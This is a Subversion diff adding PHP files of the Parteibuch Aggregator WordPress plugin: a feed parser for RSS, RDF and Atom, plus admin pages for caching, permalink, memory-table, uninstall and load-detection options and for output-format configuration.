+			$title = mb_ereg_replace('\&O[uU][mM][lL]', 	'&#214', 	$title); 
+			$title = mb_ereg_replace('\&U[uU][mM][lL]', 	'&#220', 	$title); 
+			$title = mb_ereg_replace('\&a[uU][mM][lL]', 	'&#228', 	$title); 
+			$title = mb_ereg_replace('\&o[uU][mM][lL]', 	'&#246', 	$title); 
+			$title = mb_ereg_replace('\&u[uU][mM][lL]', 	'&#252', 	$title); 
+			$title = mb_eregi_replace('\&szlig', 	'&#223', 	$title); 
+
+
+			// tidy-up white spaces
+			$title = mb_eregi_replace('\&nbsp;', 	' ',	$title);
+
+			//parteibuch: get rid of all lower ascii chars, treat them as blanks
+			$title = mb_eregi_replace('[ \n\r\s(\x00-\x1F)]+', ' ',	$title);
+			
+			return $title;
+		}
+		
+		function rebaseAddresses($itemtext, $siteURL)
+		{
+			// simplify and manipulate links in the itemtext
+			// 1 - restore quotes and angle brackets -- just for a moment
+			$itemtext = mb_eregi_replace('&quot;',	 	'"', 	$itemtext);
+			$itemtext = mb_eregi_replace('&#39;', 		"'",  	$itemtext);
+			$itemtext = mb_eregi_replace('&lt;',	 	'<', 	$itemtext);
+			$itemtext = mb_eregi_replace('&gt;', 		'>',  	$itemtext);
+			
+			// 2 - simplify and standardise the HTML
+			$itemtext = mb_eregi_replace('<img ([^>]*)src="([^">]*)"([^>]*) />',
+				"<img src='\\2' \\1 \\3 />", $itemtext);
+			$itemtext = mb_eregi_replace("<img ([^>]*)src='([^'>]*)'([^>]*) />",
+				"<img src='\\2' \\1 \\3 />", $itemtext);
+			$itemtext = mb_eregi_replace("<img (src='[^'>]*')([^>]*)width=['\"]([^'\">]*)['\"]([^>]*) />",
+				"<img \\1 width='\\3' \\2 \\4 />", $itemtext);
+			$itemtext = mb_eregi_replace(
+				"<img (src='[^'>]*' width='[^'>]*')[^>]*height=['\"]([^'\">]*)['\"][^>]* />",
+				"<img \\1 height='\\2' />", $itemtext);
+			$itemtext = mb_eregi_replace("<a [^>]*href='([^\'>]*)'[^>]*>",
+				"<a href='\\1' target='_blank' rel='nofollow'>", $itemtext);
+			$itemtext = mb_eregi_replace('<a [^>]*href="([^"\'>]*)"[^>]*>',
+				"<a href='\\1' target='_blank' rel='nofollow'>", $itemtext);
+
+			// 3 - substitute in full address to relative addresses
+			$itemtext = mb_eregi_replace("<img src='/([^'\>]+'[^\>]+) />",
+				"<img src='$siteURL/\\1 />", $itemtext);
+			$itemtext = mb_eregi_replace( "<a href='/([^'>]+'[^\>]+)>",
+				"<a href='$siteURL/\\1>", $itemtext);
+				
+			// 4 -- other tidy-ups
+			$itemtext = mb_eregi_replace('<p [^>]*>', '<p>', $itemtext);
+			$itemtext = mb_eregi_replace('<li [^>]*>', '<li>', $itemtext);
+			$itemtext = mb_eregi_replace('<br[^>]* />', '<br />', $itemtext);
+
+			//echo "<!-- DEBUG: $itemtext -->\n";
+
+			// 5 - kill the quotes to be SQL secure
+			$itemtext = mb_eregi_replace('"',	 	'&quot;', 	$itemtext);
+			$itemtext = mb_eregi_replace("'", 		'&#39;',  	$itemtext);
+			$itemtext = mb_eregi_replace('<',	 	'&lt;', 	$itemtext);
+			$itemtext = mb_eregi_replace('>', 		'&gt;',  	$itemtext);
+			
+			return $itemtext;
+		}
+
+		function reg_capture($pattern, $subject) 
+		{
+			// start regular expression
+			mb_eregi($pattern, $subject, $out);
+			
+			// if there is some result... process it and return it
+			if(isset($out[1])) 
+				return $out[1];
+			else 
+				// if there is NO result, return nothing
+				return FALSE;
+		}
+		
+		function reg_capture_all($splitter, $tail, $subject) 
+		{
+
+			$a = mb_split($splitter, $subject);
+			$out = array();
+			if (count($a) > 1 )
+			{
+				for($i=1; $i<count($a); $i++)
+				{
+					$out[$i-1] = mb_eregi_replace($tail, '', $a[$i]);
+				}
+				return $out;
+			}
+			return FALSE;
+
+		}
+		
+		function parse()
+		{
+			global $bdprss_db;
+			
+			$result = array();
+			$result['items'] = array();
+			
+			$snoopy = new Snoopy();
+			$snoopy->agent = PBA_PRODUCT . ' ' . PBA_VERSION;
+			$snoopy->read_timeout = 8;	// THINK ABOUT THIS!
+			$snoopy->curl_path = FALSE;	// THINK ABOUT THIS!
+			$snoopy->maxredirs = 2;
+			
+			if(! @$snoopy->fetch($this->url))
+			{
+				$bdprss_db->recordError($this->url, "Could not open ".$this->url);
+				return FALSE;
+			}
+			$content = $snoopy->results;
+			
+			if($snoopy->error) $bdprss_db->recordError($this->url, $snoopy->error);
+	
+			if(!$content)
+			{
+				$bdprss_db->recordError($this->url, "Snoopy did not recover any content?");
+				return FALSE;
+			}
+			
+						//Parteibuch: detect charset
+			$old_charset = $this->reg_capture("'<?xml[^>]*encoding=\"(.*?)\"[^>]*?>'", $content);
+			$new_charset = get_option( 'blog_charset' ); 
+
+			// sort out character encoding
+			if($old_charset != $new_charset){
+				mb_detect_order('WINDOWS-1252, UTF-8, ISO-8859-1');
+				if(!$old_charset) $old_charset = mb_detect_encoding( $content ); 
+				//print 'DEBUG: ' . $old_charset;
+				$content = @mb_convert_encoding($content, /*to*/$new_charset, /*from*/$old_charset);
+			}
+			
+			// quick and dirty -- work out the feedtype
+			//mb_regex_encoding('UTF-8'); // this file is written in UTF-8
+			$feedtype = FALSE;
+			if ( mb_eregi('<rss[^>]*?>.*?</rss>', $content) )
+			{
+				$feedtype = 'RSS';
+				$feed = $this->reg_capture('<channel[^>]*?>(.*?)</channel>', $content);
+				$channeltags = array ('title', 'link', 'description', 'copyright');
+				$itemtags = array('title', 'link', 'description', 'content:encoded', 'pubDate', 'dc:date', 'guid', 'issued', 'modified', 'created', 'published', 'updated', 'dc:creator', 'dc:source', 'dc:rights');
+				$item = 'item';
+			}
+			if ( !$feedtype && mb_eregi('<rdf[^>]*?>.*?</rdf[^>]*?>', $content) )
+			{
+				$feedtype = 'RDF';
+				$feed = $content;
+				$channeltags = array ('title', 'link', 'description', 'dc:creator', 'dc:date');
+				$itemtags = array('title', 'link', 'description', 'dc:date', 'dc:subject', 'dc:creator', );
+				$item = 'item';
+			}
+			if ( !$feedtype && mb_eregi('<feed[^>]*?>.*?</feed>', $content) )
+			{
+				$feedtype = 'ATOM';
+				$feed = $this->reg_capture('<feed[^\>]*?>(.*?)</feed>', $content);
+				$channeltags = array('title', 'tagline', 'link');
+				$itemtags = array('title', 'summary', 'link', 'content', 'issued', 'modified', 'created', 'published', 'updated'); 
+				$bloggerlink1 = "<link[^\>]*href=[\"']([^\"']*)[\"'][^\>]*?type=[\"']text/html[\"'][^\>]*?>";
+				$bloggerlink2 = "<link[^\>]*type=[\"']text/html[\"'][^\>]*?href=[\"']([^\"']*)[\"'][^\>]*?>";
+				$bloggerlink3 = "<link[^\>]*href=[\"']([^\"']*)[\"'][^\>]*>";
+				$item = 'entry';
+			}
+			if ( !$feedtype )
+			{
+				$bdprss_db->recordError($this->url, "Cannot ascertain feed-type, therefore ignored");
+				return FALSE;
+			}
+			$result['feedtype'] = $feedtype;
+
+			if(BDPRSS2_DEBUG) $bdprss_db->recordError($this->url, "DEBUG feedtype: $feedtype");
+			if(BDPRSS2_DEBUG) $bdprss_db->recordError($this->url, "DEBUG feedsize: ".strlen($feed));
+			
+			// get the overarching feed information
+			foreach($channeltags as $tag) 
+			{
+				if($feedtype == 'ATOM' && $tag == 'link') 
+				{
+					$tmp = $this->reg_capture($bloggerlink1, $feed);
+					if(!$tmp) $tmp = $this->reg_capture($bloggerlink2, $feed);
+					if(!$tmp) $tmp = $this->reg_capture($bloggerlink3, $feed);
+				}
+				else
+					$tmp = $this->reg_capture('<'.$tag.'[^>]*?>(.*?)</'.$tag.'>', $feed);
+				
+				if(!$tmp) continue;
+				$result[$tag] = $this->title_recode($tmp);
+			}
+			
+			// manipulate site URL for use with indirect references
+			$siteURL = $result['link'];
+			if(!$siteURL)
+				$bdprss_db->recordError($this->url, "Feed does not include a site URL");
+			else
+				$siteURL = mb_eregi_replace("(http://[^/]*).*$", "\\1", $siteURL);
+			
+			// get the item information			
+			$itemArray = $this->reg_capture_all('<'.$item.'[^>]*?>', '</'.$item.'>.*', $feed);
+			if(!$itemArray) 
+			{
+				$bdprss_db->recordError($this->url, "Feed did not contain any items");
+				return $result;
+			}
+			
+			$itemcount = count($itemArray);
+			$i = 0;
+			while ( $i < $itemcount ) 
+			{
+				$itm = $itemArray[$i];
+				foreach( $itemtags as $itag ) 
+				{
+					if($feedtype == 'ATOM' && $itag == 'link') 
+					{
+						$tmp = $this->reg_capture($bloggerlink1, $itm);
+						if(!$tmp) $tmp = $this->reg_capture($bloggerlink2, $itm);
+						if(!$tmp) $tmp = $this->reg_capture($bloggerlink3, $itm);
+					}
+					else
+						$tmp = $this->reg_capture('<'.$itag.'[^>]*?>(.*?)</'.$itag.'>', $itm);
+					
+					//parteibuch - we don't want feeds without a siteurl
+					if ($tmp == '' || !$siteURL) continue;
+					
+					$tmp = $this->title_recode($tmp);
+					
+					if($siteURL)
+						if($itag == 'content:encoded' || $itag == 'description' || 
+						$itag == 'content' || $itag == 'summary')
+							$tmp = $this->rebaseAddresses($tmp, $siteURL);
+						
+					//parteibuch blog.de fix of links directed to www.blog.de instead of subdomain
+					if(strstr($tmp,'www.blog.de') && strstr($siteURL,'blog.de') && $itag == 'link'){
+						$tmp = eregi_replace("http://[^/]*/(.*)$", "$siteURL/\\1", $tmp);
+						//if(strstr($siteURL,'blog.de')) $bdprss_db->recordError($this->url, "DEBUG for rebased blog.de item link: $tmp");
+					}
+
+					$result['items'][$i][$itag] = $tmp;
+				}
+				$i++;
+			}
+			return $result;
+		}
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-options.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-options.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-options.php	(revision 44)
@@ -0,0 +1,385 @@
+<?php 
+
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') ); 
+
+global $bdprss_db;
+$result = $bdprss_db->get_all_options();
+
+//initialisation
+$pba_enable_caching="auto";
+$pba_enable_rewriting="Y";
+$pba_full_cache_time=60;
+$pba_kalenderquery_cache_time=7200;
+$pba_feedlistquery_cache_time=3600;
+$pba_options_enable_loaddetection="auto";
+$pba_highloadthreshold="3";
+
+if(!$result ) {
+	echo "<p><b>Unexpected error:</b> could not find feed $rss, or it differed from $cidentifier</p>\n";
+} else {
+	foreach($result as $key => $r){
+		if($r->name == 'enable_caching') $pba_enable_caching=$r->value;
+		if($r->name == 'enable_rewriting') $pba_enable_rewriting=$r->value;
+		if($r->name == 'full_cache_time') $pba_full_cache_time=$r->value;
+		if($r->name == 'kalenderquery_cache_time') $pba_kalenderquery_cache_time=$r->value;
+		if($r->name == 'feedlistquery_cache_time') $pba_feedlistquery_cache_time=$r->value;
+		if($r->name == 'enable_loaddetection') $pba_options_enable_loaddetection=$r->value;
+		if($r->name == 'highloadthreshold') $pba_highloadthreshold=$r->value;
+	}
+
+//	print_r($result);
+//	echo $pba_enable_caching;
+
+	echo '<h2>Edit some global options of the <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a> plugin</h2>';
+?>
+
+
+<fieldset>
+
+<form method="post" action="<?php echo $selfreference; ?>">
+
+	<table width="100%" cellspacing="2" cellpadding="5">
+
+<tr valign="top">
+	<td align="left" colspan="3"><h3>Caching</h3>
+	
+	Info: Sensible caching can speed up the Parteibuch Aggregator and reduce the server load<br><br>
+	
+		<?php 
+		if($bdprss_db->serverstatus['pbacache']['status'] != 'ok') echo '(<b>Attention</b>: Caching can only work, if your cache directory ' . PBA_CACHE_PATH . ' is writable for your webserver. You may do this with your ftp client by setting permissions of the cache directory to read, write, execute for all, ie "chmod 777 pbacache")<br/>'; 
+		echo '<br/>';
+		?>
+		</td>
+</tr>
+<tr valign="top">
+	<td width="25%">
+		Enable Caching?
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td width="25%">
+<select name="pba_options_enable_caching">
+<?php 
+$namedescarray=array('Y' => 'Yes', 'N' => 'No', 'auto' => 'Automatic&nbsp;&nbsp;');
+foreach($namedescarray as $key => $value){
+$selected="";
+if($pba_enable_caching == $key ) $selected = ' selected';
+	echo '<option value="'.$key.'"'.$selected.'>'.$value.'</option>';
+}
+echo '</select></td><td width="50%" align="left">'; 
+$boldcacheinfo=array('','');
+if($bdprss_db->serverstatus['pbacache']['status'] == 'unusable') $boldcacheinfo=array("<b>","</b>");
+echo $boldcacheinfo[0] . "Memory info for 'pbacache': " . $bdprss_db->serverstatus['pbacache']['status'] . ", Notice: " . $bdprss_db->serverstatus['pbacache']['notice'] . $boldcacheinfo[1]; 
+
+?>
+
+</td></tr>
+
+<tr valign="top">
+	<td>
+		Cache time for main loop
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td>
+			<input type="text" name="pba_full_cache_time" value="<?php echo $pba_full_cache_time; ?>" size="10" />
+			<br/>(In seconds)<br/>
+<?php echo '</td><td align="left">'; 
+if(isset($bdprss_db->serverstatus['full_cache_time']['status'])){
+	echo "Memory info for 'full_cache_time': " . $bdprss_db->serverstatus['full_cache_time']['status'] . ", Notice: " . $bdprss_db->serverstatus['full_cache_time']['notice'] . '<br />'; 
+}
+?>
+This cache is a file cache around the whole output workhorse routine. Zero (0) will disable this cache.  Default value is 60 seconds.
+</td></tr>
+
+<tr valign="top">
+	<td>
+		Cache time for calendar query
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td>
+			<input type="text" name="pba_kalenderquery_cache_time" value="<?php echo $pba_kalenderquery_cache_time; ?>" size="10" />
+			<br/>(In seconds)<br/>
+<?php echo '</td><td align="left">'; 
+if(isset($bdprss_db->serverstatus['kalenderquery_cache_time']['status'])){
+	echo "Memory info for 'kalenderquery_cache_time': " . $bdprss_db->serverstatus['kalenderquery_cache_time']['status'] . ", Notice: " . $bdprss_db->serverstatus['kalenderquery_cache_time']['notice'] . '<br />'; 
+}
+?>
+This cache is a file cache around the query to build calendars. Zero (0) will disable this cache. Default value is 7200 seconds.
+</td></tr>
+
+<tr valign="top">
+	<td>
+		Cache time for the feedlist query
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td>
+			<input type="text" name="pba_feedlistquery_cache_time" value="<?php echo $pba_feedlistquery_cache_time; ?>" size="10" />
+			<br/>(In seconds)<br/>
+<?php echo '</td><td align="left">'; 
+if(isset($bdprss_db->serverstatus['feedlistquery_cache_time']['status'])){
+	echo "Memory info for 'feedlistquery_cache_time': " . $bdprss_db->serverstatus['feedlistquery_cache_time']['status'] . ", Notice: " . $bdprss_db->serverstatus['feedlistquery_cache_time']['notice'] . '<br />'; 
+}
+?>
+This cache is a file cache around the query to build feedlists. Zero (0) will disable this cache.  Default value is 3600 seconds.
+</td></tr>
+
+<tr valign="top">
+	<td >
+		Clear the cache now?
+	</td>
+	<td>
+		<input type="checkbox" name="pba_clear_cache_now" 
+			value="Y" >
+	</td><td>Checking this box will completely clean your Parteibuch Aggregator cache. If you clear your cache and you have a lot of files cached, please be patient, it may take a while
+	</td>
+</tr>
+
+
+
+<tr valign="top">
+	<td align="left" colspan="3"><h3>Permalinks</h3>
+	Rewritten permalinks are a popular feature of wordpress. They make URIs of the blog look like http://_mydomain_/_aboutme_/ instead of http://_mydomain_/index.php?pagename=_pagename_ If you like, the Parteibuch Aggregator can hook into the permalink structure of wordpress and generate similar rewritten permalinks for the pages delivered by the Parteibuch Aggregator<br><br>
+		(<b>Attention</b>: You need to <a target="_blank" title="Opens in new window: refresh the permalinks of your blog" href="options-permalink.php">refresh your permalinks</a> after changing this option, if you don't do this, the change will have no effect. You don't have to change your blog's rewrite options, ie just hit the button to "save changes" there, just hit the button to "save changes" and that's it.)<br/><br/>
+		</td>
+</tr>
+
+<tr valign="top">
+	<th scope="row">
+		Enable Permalinks?
+		<br />&nbsp;<br />&nbsp;<br />
+	</th>
+	<td>
+<select name="pba_options_link_rewriting">
+<?php 
+
+$namedescarray=array('Y' => 'Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;', 'N' => 'No');
+foreach($namedescarray as $key => $value){
+$selected="";
+if($pba_enable_rewriting == $key ) $selected = ' selected';
+	echo '<option value="'.$key.'"'.$selected.'>'.$value.'</option>';
+}
+echo '</select>
+</td><td align="left">'; 
+
+echo "Memory info for 'rewriting': " . $bdprss_db->serverstatus['rewriting']['status'] . ", Notice: " . $bdprss_db->serverstatus['rewriting']['notice'] . "<br />"; 
+
+	$rewrite_array=get_option('rewrite_rules');
+	if(!is_array($rewrite_array)) {
+		echo 'This blog has not enabled permalinks. To use permalink rewriting feature of the Parteibuch Aggregator you have to <a target="_blank" title="Opens in new window: enable permalinks for your blog" href="options-permalink.php">enable permalinks for your blog</a>.';
+	}elseif(count($rewrite_array) == 0){
+		 echo 'Either your blog doesn&#39;t use permalinks or we can&#39;t detect them. Parteibuch Aggregator recommends therefore to <a target="_blank" title="Opens in new window: refresh permalinks of your blog" href="options-permalink.php">refresh your permalinks</a>.';
+	}elseif(count($rewrite_array) > 0){
+		$rulematch=false;
+		foreach($rewrite_array as $key => $value){
+			if(strstr($key,'ticker-feed')) $rulematch=true;
+		}
+		if(!$rulematch && $pba_enable_rewriting != 'N') {
+			echo 'Though enabled, the Parteibuch Aggregator permalinks seem not to be in effect. Parteibuch Aggregator recommends therefore to <a target="_blank" title="Opens in new window: refresh permalinks of your blog" href="options-permalink.php">refresh your permalinks</a>.';
+		}elseif(!$rulematch && $pba_enable_rewriting == 'N') {
+			echo 'Enable the permalink rewriting feature of the Parteibuch Aggregator to make the Aggregator URLs look like /page/2/ instead of ?tickerpage=2';
+		}elseif($rulematch && $pba_enable_rewriting != 'N') {
+			echo 'Fine. Permalink rewriting feature of Parteibuch Aggregator is enabled and shall be working.';
+		}elseif($rulematch && $pba_enable_rewriting == 'N'){
+			echo 'Though disabled, there seem to be still Parteibuch Aggregator rules enabled in your blog. Parteibuch Aggregator recommends therefore to <a target="_blank" title="Opens in new window: refresh permalinks of your blog" href="options-permalink.php">refresh your permalinks</a>.';
+		}
+	}
+
+//echo "The rules are: " . str_replace("\n",'<br>',PBALIB::get_r(get_option('rewrite_rules')));
+
+?>    </td></tr>
+
+<tr valign="top">
+	<td align="left" colspan="3"><h3>Memory tables</h3>
+	MySQL is able to write <a target="_blank" title="Opens in new window: MySQL 5.0 documentation for memory tables" href="http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html">tables into memory</a>. Having index tables in memory will speed up large databases a lot. Disadvatage is, that these memory tables will occupy memory permanently, even if nobody accesses the site and that they need to be refilled always when MySQL is restarted. Parteibuch Aggregator is designed to use memory tables. However, it is possible to turn off this feature.<br><br>
+		</td>
+</tr>
+
+<tr valign="top">
+	<td>
+		Enable memory tables?
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td>
+<select name="pba_options_enable_memtables">
+<?php 
+$oldvaluetmp=$bdprss_db->pbaoption('enable_memtables');
+if($oldvaluetmp == 'Y'){
+	$old_pba_options_enable_memtables ='Y';
+}elseif($oldvaluetmp == 'N') {
+	$old_pba_options_enable_memtables ='N';
+}elseif($oldvaluetmp == 'auto') {
+	$old_pba_options_enable_memtables ='auto';
+}else{
+	$old_pba_options_enable_memtables ='undefined';
+}
+
+$namedescarray=array('Y' => 'Yes', 'N' => 'No', 'auto' => 'Automatic&nbsp;&nbsp;');
+foreach($namedescarray as $key => $value){
+$selected="";
+if($old_pba_options_enable_memtables == $key ) $selected = ' selected';
+	echo '<option value="'.$key.'"'.$selected.'>'.$value.'</option>';
+}
+echo '</select>';
+echo '<input type="hidden" name="old_pba_options_enable_memtables" value="' . $old_pba_options_enable_memtables . '" />';
+echo '</td><td align="left">'; 
+
+echo "Information from server: ";
+
+$pba_max_heap_table_size=$bdprss_db->get_mysql_variables('max_heap_table_size');
+if($pba_max_heap_table_size != "") echo "This MySQL Server allows a maximum size of " . $pba_max_heap_table_size . " bytes for memory tables. ";
+
+$pba_memtables_array=array('mtablestatus' => $bdprss_db->mtablestatus, 'mitemtable' => $bdprss_db->mitemtable, 'msitetable' => $bdprss_db->msitetable);
+
+foreach($pba_memtables_array as $pba_shorttablename => $pba_tablenameindb){
+	$pba_not_tmp='not ';
+	if($bdprss_db->detect_memtable($pba_tablenameindb)) {
+		$pba_not_tmp = '';
+	}
+	$pba_table_status_row_object=$bdprss_db->get_mysql_tablestatus($pba_tablenameindb);
+	
+	//echo "The pba_table_status_row_object: " . str_replace("\n",'<br>',PBALIB::get_r($pba_table_status_row_object));
+	$pba_table_size='Something strange happens. Parteibuch Aggregator cannot retrieve status information for table '.$pba_tablenameindb.'.';
+	if(is_object($pba_table_status_row_object)){
+		$pba_table_size= 'Size is ' . ($pba_table_status_row_object->Data_length + $pba_table_status_row_object->Index_length) . ' bytes. ';
+	}
+	echo 'Table '.$pba_shorttablename.' is '.$pba_not_tmp.'a memory table. ' . $pba_table_size;
+}
+
+?>
+
+</td></tr>
+
+<tr valign="top">
+	<td align="left" colspan="3"><h3>Uninstaller</h3>
+	By default, the Parteibuch Aggregator will keep it's data and configuration settings, when you disable the plugin. 
+	This has the advantage, that you can re-enable the Aggregator plugin and you will not have lost your data.
+	However, if you want to completely remove the Parteibuch Aggregator and all it's data and all the configuration settings, 
+	you shall check the checkbox below before deactivation of the Parteibuch Aggregator plugin.<br><br>
+		</td>
+</tr>
+
+<tr valign="top">
+	<td >
+		Delete all data on plugin deactivation?
+	</td>
+	<td>
+		<input type="checkbox" name="pba_delete_alldata"
+			value="Y" >
+	</td><td>Checking this box will delete all the data of the Parteibuch Aggregator, when you deactivate the Parteibuch Aggregator plugin. <b>There is no way back</b>. If you use Parteibuch Aggregator widgets, remove the widgets before deactivation from your sidebar. If you use the rewritten URL feature, flush your permalinks after plugin deactivation.
+	</td>
+</tr>
+
+<tr valign="top">
+	<td align="left" colspan="3"><h3>Server load detection</h3>
+	The Parteibuch Aggregator can try to detect the serverload with sys_getloadavg or as the first load average figure from the output of a Unix system call to <a target='_blank' title='Opens in new window: Find articles about uptime via Google' href='http://www.google.com/search?q=uptime+command+UNIX'>uptime</a> and decide on that basis, if it is a good time to do some resource intensive housekeeping jobs or if they better should be processed at a later time.<br><br>
+		</td>
+</tr>
+
+<tr valign="top">
+	<td>
+		Enable load detection?
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td>
+<select name="pba_options_enable_loaddetection">
+<?php 
+$namedescarray=array('Y' => 'Yes', 'N' => 'No', 'auto' => 'Automatic&nbsp;&nbsp;');
+foreach($namedescarray as $key => $value){
+$selected="";
+if($pba_options_enable_loaddetection == $key ) $selected = ' selected';
+	echo '<option value="'.$key.'"'.$selected.'>'.$value.'</option>';
+}
+echo '</select></td><td align="left">'; 
+
+echo "Info from server: ";
+if(function_exists('sys_getloadavg')) {
+	$load=sys_getloadavg();
+	$pbaload=$load[0];
+	echo "Fine. Your php has a function sys_getloadavg, so we have no problems to get server load data.";
+}elseif(ini_get('safe_mode')){
+	echo 'The <a target="_blank" title="Opens in new window: See php manual: safe_mode" href="http://php.net/features.safe-mode">safe_mode feature</a> of PHP is enabled on your server. ';
+	if(ini_get('safe_mode_exec_dir') == ""){
+		echo ' No safe_mode_exec_dir is set, if you want to use the load detection feature of the Parteibuch Aggregator, your server administrator has to disable safe_mode or set a safe_mode_exec_dir.';
+		$pbaload=0;
+	}else{
+		$pbaload=$bdprss_db->pba_loaddetection();
+		if($pbaload>0) echo 'Using safe_mode uptime wrapper script. ';
+		if($pbaload==0) echo ' PHP safe_mode_exec_dir is set to ' . ini_get('safe_mode_exec_dir') . '. ' .
+			" Parteibuch Aggregator doesn't get back a sensible value from uptime_wrapper.sh. 
+			If you want to use the Parteibuch Aggregator load detection feature then make sure you copy uptime_wrapper.sh into your safe_mode_exec_dir, that it is readable and 
+			executable for your php environment and that it produces an ouput like a standard unix call 
+			to uptime. Make sure that paths in the wrapper script fit to your server and <a target='_blank' title='Opens in new window: See newline article in Wikipedia' href='http://en.wikipedia.org/wiki/Newline'>newline</a> line breaks 
+			in the script are Unix like.";
+	}
+}else{
+	//no safe mode
+	$pbaload=$bdprss_db->pba_loaddetection();
+	if($pbaload == 0) echo ' The Parteibuch Aggregator cannot detect a server load. 
+		If you want to use the Parteibuch Aggregator load detection feature then you may try to 
+		modify the script uptime_wrapper.sh in directory "'.dirname(__FILE__) . '/wrapper/'. '", 
+		so that there will be produced output as like from a uptime unix system command.' . 
+		" Make sure that the script is readable and executable for your php environment and 
+		that paths in the wrapper script fit to your server and 
+		<a target='_blank' title='Opens in new window: See newline article in Wikipedia' href='http://en.wikipedia.org/wiki/Newline'>newline</a> 
+		line breaks in the script are Unix like.";
+}
+
+if($pbaload > 0) echo ' Server load we got from your system is at this moment: ' . $pbaload . '. ';
+if(isset($bdprss_db->serverstatus['loaddetection']['notice'])){
+	echo " Memory notice for 'loaddetection': Notice: " . $bdprss_db->serverstatus['loaddetection']['notice']. '. '; 
+}
+echo " Memory notice for 'pbaload': Notice: " . $bdprss_db->serverstatus['pbaload']['notice']. '. '; 
+if(isset($bdprss_db->serverstatus['highloadthreshold']['notice'])){
+	echo " Memory notice for 'highloadthreshold': Notice: " . $bdprss_db->serverstatus['highloadthreshold']['notice']. '. '; 
+}
+?>
+
+<br /><br /><br /><br /></td></tr>
+
+<?php if($pbaload > 0){
+	//we will hide this configuration row, if we cannot detect a load
+?>
+
+<tr valign="top">
+	<td>
+		Define a high load threshold
+		<br />&nbsp;<br />&nbsp;<br />
+	</td>
+	<td>
+<select name="pba_highloadthreshold">
+<?php 
+$namedescarray=array('1' => '&nbsp;&nbsp;1&nbsp;&nbsp;', 
+							'2' => '&nbsp;&nbsp;2&nbsp;&nbsp;', 
+							'3' => '&nbsp;&nbsp;3&nbsp;&nbsp;', 
+							'4' => '&nbsp;&nbsp;4&nbsp;&nbsp;', 
+							'5' => '&nbsp;&nbsp;5&nbsp;&nbsp;', 
+							'10' => '&nbsp;&nbsp;10&nbsp;&nbsp;', 
+							'20' => '&nbsp;&nbsp;20&nbsp;&nbsp;');
+
+foreach($namedescarray as $key => $value){
+$selected="";
+if($pba_highloadthreshold == $key ) $selected = ' selected';
+	echo '<option value="'.$key.'"'.$selected.'>'.$value.'</option>';
+}
+echo '</select></td><td align="left">'; 
+
+echo "If server load detection is enabled, the high load threshold tells the Parteibuch Aggregator, above what server load value housekeeping jobs shall be deferred. Please tell the Parteibuch Aggregator above what uptime load average value the Parteibuch Aggregator shall run in high serverload mode. Default is a highload threshold value of 3. ";
+
+echo "</td></tr>";
+
+} //end conditional row if pbaload > 0
+
+?>
+
+	<tr valign="top">
+		<td colspan="3" align="right"><br><br>
+			<a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">All fine</a>&nbsp;(exit this page without saving any changes) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" name="pba_edit_options_button" value="Save configuration &raquo;" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+		</td>
+	</tr>
+
+	</table>
+
+<?php
+}
+?>
+</form>
+</fieldset>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-output.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-output.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-output.php	(revision 44)
@@ -0,0 +1,561 @@
+<?php 
+
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') ); 
+
+?>
+
+<h2><a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a>: Configuration of output format #<?php echo $pboutput; ?></h2>
+
+<fieldset>
+
+<form method="post" action="<?php echo $selfreference; ?>">
+
+
+<?php 
+
+global $bdprss_db;
+
+$pbastartconfig=0;
+if(isset($_GET['pbstart'])){
+	$pbastartconfig=abs(intval($_GET['pbstart']));
+}
+$pba_editpbaoutput_button='<input type="submit" name="pba_edit_output_button" value="&raquo;Save&raquo;" />';
+
+$result = $bdprss_db->get_pbaoutput($pboutput);
+
+if(!$result) {
+	echo "<p><b>Unexpected error:</b> could not find output format #$pboutput </p>\n";
+} else {
+	if($pbastartconfig > 0){
+		echo '<input type="hidden" name="pbstart" value="'.$pbastartconfig.'" />';
+		echo '<input type="hidden" name="action" value="status" />';
+	}
+	
+	// setup stuff
+	$pbaoname = bdpDisplayCode($result->{$bdprss_db->pbaoname});
+	$pbaopage2hookin = abs(intval($result->{$bdprss_db->pbaopage2hookin}));
+
+//items to be displayed
+	$pbaodefaultlist = $result->{$bdprss_db->pbaodefaultlist};
+	$pbaoformattype = $result->{$bdprss_db->pbaoformattype};
+	$pbaomaxitems = $result->{$bdprss_db->pbaomaxitems};
+
+//item formatting
+	$pbaotemplate_ticker = bdpDisplayCode($result->{$bdprss_db->pbaotemplate_ticker});
+
+	$pbaoappend_extra_link = $result->{$bdprss_db->pbaoappend_extra_link};
+	$pbaoappend_cache_link = $result->{$bdprss_db->pbaoappend_cache_link};
+	$pbaoadd_social_bookmarks = $result->{$bdprss_db->pbaoadd_social_bookmarks};
+
+	$pbaosidebarwidget = bdpDisplayCode($result->{$bdprss_db->pbaosidebarwidget});
+
+	$pbaomaxlength = $result->{$bdprss_db->pbaomaxlength};
+	$pbaomaxwordlength = $result->{$bdprss_db->pbaomaxwordlength};
